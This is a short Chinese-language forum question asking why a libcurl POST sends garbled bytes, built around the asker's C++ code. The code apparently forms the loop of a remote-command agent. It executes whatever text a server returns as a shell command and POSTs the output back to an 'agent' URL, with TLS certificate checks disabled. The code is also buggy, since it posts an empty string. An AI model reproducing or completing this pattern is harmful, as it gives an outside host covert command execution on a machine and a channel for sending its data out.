我正在尝试将变量传递到CURLOPT_POSTFIELDS
。我当前的代码:
size_t curl_write( void *ptr, size_t size, size_t nmemb, void *stream)
{
std::string cmd(static_cast<char*>(ptr), size * nmemb);
redi::ipstream proc(cmd.c_str(), redi::pstreams::pstdout | redi::pstreams::pstderr);
std::string line;
while (std::getline(proc.out(), line))
std::cout << line << '\n';
CURLcode sendb;
CURL *bnd;
bnd = curl_easy_init();
curl_easy_setopt(bnd, CURLOPT_BUFFERSIZE, 102400L);
curl_easy_setopt(bnd, CURLOPT_URL, agent_name.c_str());
curl_easy_setopt(bnd, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(bnd, CURLOPT_POSTFIELDSIZE_LARGE, (curl_off_t)line.size());
curl_easy_setopt(bnd, CURLOPT_POSTFIELDS, line.c_str());
curl_easy_setopt(bnd, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(bnd, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(bnd, CURLOPT_CUSTOMREQUEST, "POST");
curl_easy_setopt(bnd, CURLOPT_FTP_SKIP_PASV_IP, 1L);
curl_easy_setopt(bnd, CURLOPT_TCP_KEEPALIVE, 1L);
sendb = curl_easy_perform(bnd);
std::cout << sendb;
curl_easy_cleanup(bnd);
bnd = NULL;
if (proc.eof() && proc.fail())
proc.clear();
}
这会发送一些奇怪的十六进制东西V\x1b{
在 POST 请求中。
我尝试过添加line.c_str()
但这不起作用。它在对数据进行硬编码时起作用。